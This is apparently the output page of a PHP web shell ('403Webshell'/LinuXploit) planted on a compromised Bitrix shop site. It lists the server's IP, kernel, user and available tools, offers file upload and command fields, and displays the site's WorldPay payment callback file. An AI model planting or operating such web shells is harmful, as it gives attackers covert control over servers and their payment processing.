403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/payment/worldpay/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/payment/worldpay/result_rec.php
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die();?><?
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_GET["server_responce"]) && $_GET["server_responce"] == "Y" && !empty($_POST["cartId"]))
{
	$bCorrect = True;

	if ($bCorrect && !($arOrder = CSaleOrder::GetByID(intval($_POST["cartId"]))))
		$bCorrect = False;

	if ($bCorrect)
	{
		CSalePaySystemAction::InitParamArrays($arOrder, $arOrder["ID"]);
		$strCallbackPassword = CSalePaySystemAction::GetParamValue("CALLBACK_PASSWORD");

		if ($strCallbackPassword == '' || $_POST["callbackPW"] != $strCallbackPassword)
			$bCorrect = False;
	}

	if ($bCorrect && isset($_POST["testMode"]) && intval($_POST["testMode"]) > 0)
		$bCorrect = False;

	if ($bCorrect)
	{
		$arFields = array(
				"PS_STATUS" => (($_POST["transStatus"]=="Y") ? "Y" : "N"),
				"PS_STATUS_CODE" => $_POST["transStatus"],
				"PS_STATUS_DESCRIPTION" => $_POST["rawAuthMessage"],
				"PS_STATUS_MESSAGE" => (($_POST["transStatus"]=="Y") ? ("The WorldPay ID for this transaction: ".$_POST["transId"].", Time of this transaction: ".Date("r", $_POST["transTime"])) : ""),
				"PS_SUM" => $_POST["authAmount"],
				"PS_CURRENCY" => $_POST["authCurrency"],
				"PS_RESPONSE_DATE" => Date(CDatabase::DateFormatToPHP(CLang::GetDateFormat("FULL", LANG))),
				"USER_ID" => $arOrder["USER_ID"]
			);

		if ($arOrder["CURRENCY"]==$_POST["authCurrency"] && $arOrder["PRICE"]==$_POST["authAmount"])
		{
			CSaleOrder::PayOrder($arOrder["ID"], "Y");
		}

		CSaleOrder::Update($arOrder["ID"], $arFields);
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit